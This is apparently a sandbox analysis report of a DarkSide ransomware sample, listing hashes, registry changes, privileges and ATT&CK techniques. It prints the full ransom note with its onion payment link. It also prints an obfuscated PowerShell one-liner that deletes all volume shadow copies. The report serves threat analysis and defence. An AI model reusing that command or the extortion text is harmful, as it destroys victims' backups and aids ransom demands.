darkside | c5741701b3866459dd1ffa2477cfd8776713612912693a5897f78aac795d23e9

Resubmissions

28-07-2024 16:38

240728-t5tryssgmm 10

07-07-2024 14:07

240707-rfgd8atekm 10

07-07-2024 14:07

240707-re689awdpe 10

13-09-2022 17:54

220913-wg1lpsgbg7 10

Analysis

max time kernel
1561s
max time network
1567s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
07-07-2024 14:07

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Report Analysis Logs

General

Target

RansomwareSamples/DarkSide_16_01_2021_59KB.exe
Size

59KB
MD5

0ed51a595631e9b4d60896ab5573332f
SHA1

7ae73b5e1622049380c9b615ce3b7f636665584b
SHA256

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60
SHA512

9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5
SSDEEP

768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3RYY23W58:0x7Fu4/ihrhDTV1ylhZ58

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.a8e86c8e.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (179) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

DarkSide_16_01_2021_59KB.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2660163958-4080398480-1122754539-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\a8e86c8e.BMP"	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2660163958-4080398480-1122754539-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\a8e86c8e.BMP"	DarkSide_16_01_2021_59KB.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

DarkSide_16_01_2021_59KB.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2660163958-4080398480-1122754539-1000\Control Panel\Desktop\WallpaperStyle = "10"	DarkSide_16_01_2021_59KB.exe

Modifies registry class 5 IoCs

Processes:

DarkSide_16_01_2021_59KB.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.a8e86c8e	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.a8e86c8e\ = "a8e86c8e"	DarkSide_16_01_2021_59KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\a8e86c8e\DefaultIcon	DarkSide_16_01_2021_59KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\a8e86c8e	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\a8e86c8e\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\a8e86c8e.ico"	DarkSide_16_01_2021_59KB.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeDarkSide_16_01_2021_59KB.exe

pid process

2684 powershell.exe
2656 DarkSide_16_01_2021_59KB.exe
2656 DarkSide_16_01_2021_59KB.exe

pid	process
2684	powershell.exe
2656	DarkSide_16_01_2021_59KB.exe
2656	DarkSide_16_01_2021_59KB.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

DarkSide_16_01_2021_59KB.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeSecurityPrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeTakeOwnershipPrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeLoadDriverPrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeSystemProfilePrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeSystemtimePrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeProfSingleProcessPrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeIncBasePriorityPrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeCreatePagefilePrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeBackupPrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeRestorePrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeShutdownPrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeDebugPrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeSystemEnvironmentPrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeRemoteShutdownPrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeUndockPrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: SeManageVolumePrivilege	2656	DarkSide_16_01_2021_59KB.exe
Token: 33	2656	DarkSide_16_01_2021_59KB.exe
Token: 34	2656	DarkSide_16_01_2021_59KB.exe
Token: 35	2656	DarkSide_16_01_2021_59KB.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeBackupPrivilege	2976	vssvc.exe
Token: SeRestorePrivilege	2976	vssvc.exe
Token: SeAuditPrivilege	2976	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

DarkSide_16_01_2021_59KB.exe

description	pid	process	target process
PID 2656 wrote to memory of 2684	2656	DarkSide_16_01_2021_59KB.exe	powershell.exe
PID 2656 wrote to memory of 2684	2656	DarkSide_16_01_2021_59KB.exe	powershell.exe
PID 2656 wrote to memory of 2684	2656	DarkSide_16_01_2021_59KB.exe	powershell.exe
PID 2656 wrote to memory of 2684	2656	DarkSide_16_01_2021_59KB.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe
"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2684

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
febf5feaf0f1361b17ccb6b16e2ffa52

SHA1
a78bf2f756b27e0434d204ad58e1eb51ad1e6998

SHA256
bc0cdc708a1678f40a3ba3334aaeafdcb4b0465a760b83fb39e06eba415c7c83

SHA512
822271f8f733e6ebbe224b45ce590e5b1e1ffd331825b2c986c23adf7d4a8e387473463f2b9722f9ab4c9064a78f513d1648d0f5ada7c1cbf0199ca41924d493

Download Submit
C:\Users\Admin\README.a8e86c8e.TXT

Filesize
1KB

MD5
d4e176b40c4ea17f4870c34fad926d6e

SHA1
2cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0

SHA256
7ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c

SHA512
feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471

Download Submit
memory/2684-5-0x000007FEF665E000-0x000007FEF665F000-memory.dmp

Filesize
4KB

Download
memory/2684-6-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/2684-7-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2684-8-0x000007FEF63A0000-0x000007FEF6D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2684-9-0x000007FEF63A0000-0x000007FEF6D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2684-10-0x000007FEF63A0000-0x000007FEF6D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2684-11-0x000007FEF63A0000-0x000007FEF6D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2684-12-0x000007FEF63A0000-0x000007FEF6D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2684-13-0x000007FEF63A0000-0x000007FEF6D3D000-memory.dmp

Filesize
9.6MB

Download